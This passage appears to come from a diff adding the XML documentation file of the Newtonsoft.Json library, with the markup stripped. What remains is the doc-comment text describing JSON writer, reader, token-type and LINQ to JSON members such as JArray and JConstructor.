asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the end of an array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the end of a constructor. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the end of a JSON object. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes raw JSON where a value is expected and updates the writer's state. + + The raw JSON to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Gets or sets the writer's character array pool. + + + + + Gets or sets how many s to write for each level in the hierarchy when is set to . + + + + + Gets or sets which character to use to quote attribute values. + + + + + Gets or sets which character to use for indenting when is set to . + + + + + Gets or sets a value indicating whether object names will be surrounded with quotes. + + + + + Initializes a new instance of the class using the specified . + + The to write to. + + + + Flushes whatever is in the buffer to the underlying and also flushes the underlying . + + + + + Closes this writer. + If is set to true, the underlying is also closed. + If is set to true, the JSON is auto-completed. + + + + + Writes the beginning of a JSON object. + + + + + Writes the beginning of a JSON array. + + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes the specified end token. + + The end token to write. + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + A flag to indicate whether the text should be escaped when it is written as a JSON property name. + + + + Writes indent characters. + + + + + Writes the JSON value delimiter. + + + + + Writes an indent space. + + + + + Writes a value. + An error will raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes raw JSON. + + The raw JSON to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a value. + + The value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes the given white space. + + The string of white space characters. + + + + Specifies the type of JSON token. + + + + + This is returned by the if a read method has not been called. + + + + + An object start token. + + + + + An array start token. + + + + + A constructor start token. + + + + + An object property name. + + + + + A comment. + + + + + Raw JSON. + + + + + An integer. + + + + + A float. + + + + + A string. + + + + + A boolean. + + + + + A null token. + + + + + An undefined token. + + + + + An object end token. + + + + + An array end token. + + + + + A constructor end token. + + + + + A Date. + + + + + Byte data. + + + + + + Represents a reader that provides validation. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Sets an event handler for receiving schema validation errors. + + + + + Gets the text value of the current JSON token. + + + + + + Gets the depth of the current token in the JSON document. + + The depth of the current token in the JSON document. + + + + Gets the path of the current JSON token. + + + + + Gets the quotation mark character used to enclose the value of a string. + + + + + + Gets the type of the current JSON token. + + + + + + Gets the .NET type for the current JSON token. + + + + + + Initializes a new instance of the class that + validates the content returned from the given . + + The to read from while validating. + + + + Gets or sets the schema. + + The schema. + + + + Gets the used to construct this . + + The specified in the constructor. + + + + Changes the reader's state to . + If is set to true, the underlying is also closed. + + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a []. + + + A [] or null if the next JSON token is null. + + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. + + + + + Asynchronously closes this writer. + If is set to true, the destination is also closed. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the specified end token. + + The end token to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes indent characters. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the JSON value delimiter. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes an indent space. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes raw JSON without changing the writer's state. + + The raw JSON to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the end of the current JSON object or array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the end of an array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the end of a constructor. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the end of a JSON object. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a null value. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the property name of a name/value pair of a JSON object. + + The name of the property. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the property name of a name/value pair of a JSON object. + + The name of the property. + A flag to indicate whether the text should be escaped when it is written as a JSON property name. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the beginning of a JSON array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes raw JSON where a value is expected and updates the writer's state. + + The raw JSON to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the start of a constructor with the given name. + + The name of the constructor. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the beginning of a JSON object. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the current token. + + The to read the token from. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the current token. + + The to read the token from. + A flag indicating whether the current token's children should be written. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the token and its value. + + The to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the token and its value. + + The to write. + + The value to write. + A value is only required for tokens that have an associated value, e.g. the property name for . + null can be passed to the method for tokens that don't have a value, e.g. . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a [] value. + + The [] value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes an undefined value. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the given white space. + + The string of white space characters. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously ets the state of the . + + The being written. + The value being written. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Gets or sets a value indicating whether the destination should be closed when this writer is closed. + + + true to close the destination when this writer is closed; otherwise false. The default is true. + + + + + Gets or sets a value indicating whether the JSON should be auto-completed when this writer is closed. + + + true to auto-complete the JSON when this writer is closed; otherwise false. The default is true. + + + + + Gets the top. + + The top. + + + + Gets the state of the writer. + + + + + Gets the path of the writer. + + + + + Gets or sets a value indicating how JSON text output should be formatted. + + + + + Gets or sets how dates are written to JSON text. + + + + + Gets or sets how time zones are handled when writing JSON text. + + + + + Gets or sets how strings are escaped when writing JSON text. + + + + + Gets or sets how special floating point numbers, e.g. , + and , + are written to JSON text. + + + + + Gets or sets how and values are formatted when writing JSON text. + + + + + Gets or sets the culture used when writing JSON. Defaults to . + + + + + Initializes a new instance of the class. + + + + + Flushes whatever is in the buffer to the destination and also flushes the destination. + + + + + Closes this writer. + If is set to true, the destination is also closed. + If is set to true, the JSON is auto-completed. + + + + + Writes the beginning of a JSON object. + + + + + Writes the end of a JSON object. + + + + + Writes the beginning of a JSON array. + + + + + Writes the end of an array. + + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes the end constructor. + + + + + Writes the property name of a name/value pair of a JSON object. + + The name of the property. + + + + Writes the property name of a name/value pair of a JSON object. + + The name of the property. + A flag to indicate whether the text should be escaped when it is written as a JSON property name. + + + + Writes the end of the current JSON object or array. + + + + + Writes the current token and its children. + + The to read the token from. + + + + Writes the current token. + + The to read the token from. + A flag indicating whether the current token's children should be written. + + + + Writes the token and its value. + + The to write. + + The value to write. + A value is only required for tokens that have an associated value, e.g. the property name for . + null can be passed to the method for tokens that don't have a value, e.g. . + + + + + Writes the token. + + The to write. + + + + Writes the specified end token. + + The end token to write. + + + + Writes indent characters. + + + + + Writes the JSON value delimiter. + + + + + Writes an indent space. + + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes raw JSON without changing the writer's state. + + The raw JSON to write. + + + + Writes raw JSON where a value is expected and updates the writer's state. + + The raw JSON to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + An error will raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes the given white space. + + The string of white space characters. + + + + Releases unmanaged and - optionally - managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Sets the state of the . + + The being written. + The value being written. + + + + The exception thrown when an error occurs while writing JSON text. + + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class + with a specified error message, JSON path and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The path to the JSON where the error occurred. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Specifies how JSON comments are handled when loading JSON. + + + + + Ignore comments. + + + + + Load comments as a with type . + + + + + Specifies how duplicate property names are handled when loading JSON. + + + + + Replace the existing value when there is a duplicate property. The value of the last property in the JSON object will be used. + + + + + Ignore the new value when there is a duplicate property. The value of the first property in the JSON object will be used. + + + + + Throw a when a duplicate property is encountered. + + + + + Contains the LINQ to JSON extension methods. + + + + + Returns a collection of tokens that contains the ancestors of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains the ancestors of every token in the source collection. + + + + Returns a collection of tokens that contains every token in the source collection, and the ancestors of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains every token in the source collection, the ancestors of every token in the source collection. + + + + Returns a collection of tokens that contains the descendants of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains the descendants of every token in the source collection. + + + + Returns a collection of tokens that contains every token in the source collection, and the descendants of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains every token in the source collection, and the descendants of every token in the source collection. + + + + Returns a collection of child properties of every object in the source collection. + + An of that contains the source collection. + An of that contains the properties of every object in the source collection. + + + + Returns a collection of child values of every object in the source collection with the given key. + + An of that contains the source collection. + The token key. + An of that contains the values of every token in the source collection with the given key. + + + + Returns a collection of child values of every object in the source collection. + + An of that contains the source collection. + An of that contains the values of every token in the source collection. + + + + Returns a collection of converted child values of every object in the source collection with the given key. + + The type to convert the values to. + An of that contains the source collection. + The token key. + An that contains the converted values of every token in the source collection with the given key. + + + + Returns a collection of converted child values of every object in the source collection. + + The type to convert the values to. + An of that contains the source collection. + An that contains the converted values of every token in the source collection. + + + + Converts the value. + + The type to convert the value to. + A cast as a of . + A converted value. + + + + Converts the value. + + The source collection type. + The type to convert the value to. + A cast as a of . + A converted value. + + + + Returns a collection of child tokens of every array in the source collection. + + The source collection type. + An of that contains the source collection. + An of that contains the values of every token in the source collection. + + + + Returns a collection of converted child tokens of every array in the source collection. + + An of that contains the source collection. + The type to convert the values to. + The source collection type. + An that contains the converted values of every token in the source collection. + + + + Returns the input typed as . + + An of that contains the source collection. + The input typed as . + + + + Returns the input typed as . + + The source collection type. + An of that contains the source collection. + The input typed as . + + + + Represents a collection of objects. + + The type of token. + + + + Gets the of with the specified key. + + + + + + Represents a JSON array. + + + + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + A representing the asynchronous load. The property contains the JSON that was read from the specified . + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + A representing the asynchronous load. The property contains the JSON that was read from the specified . + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Gets the node type for this . + + The type. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the specified content. + + The contents of the array. + + + + Initializes a new instance of the class with the specified content. + + The contents of the array. + + + + Loads an from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + + + Loads an from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + + + Load a from a string that contains JSON. + + A that contains JSON. + A populated from the string that contains JSON. + + + + + + + Load a from a string that contains JSON. + + A that contains JSON. + The used to load the JSON. + If this is null, default load settings will be used. + A populated from the string that contains JSON. + + + + + + + Creates a from an object. + + The object that will be used to create . + A with the values of the specified object. + + + + Creates a from an object. + + The object that will be used to create . + The that will be used to read the object. + A with the values of the specified object. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Gets the with the specified key. + + The with the specified key. + + + + Gets or sets the at the specified index. + + + + + + Determines the index of a specific item in the . + + The object to locate in the . + + The index of if found in the list; otherwise, -1. + + + + + Inserts an item to the at the specified index. + + The zero-based index at which should be inserted. + The object to insert into the . + + is not a valid index in the . + + + + + Removes the item at the specified index. + + The zero-based index of the item to remove. + + is not a valid index in the . + + + + + Returns an enumerator that iterates through the collection. + + + A of that can be used to iterate through the collection. + + + + + Adds an item to the . + + The object to add to the . + + + + Removes all items from the . + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Copies the elements of the to an array, starting at a particular array index. + + The array. + Index of the array. + + + + Gets a value indicating whether the is read-only. + + true if the is read-only; otherwise, false. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Represents a JSON constructor. + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous load. The + property returns a that contains the JSON that was read from the specified . + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous load. The + property returns a that contains the JSON that was read from the specified . + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Gets or sets the name of this constructor. + + The constructor name. + + + + Gets the node type for this . + + The type. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the specified name and content. + + The constructor name. + The contents of the constructor. + + + + Initializes a new instance of the class with the specified name and content. + + The constructor name. + The contents of the constructor. + + + + Initializes a new instance of the class with the specified name. + + The constructor name. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Gets the with the specified key. + + The with the specified key. + + + + Loads a from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + + + Loads a from a . + + A that 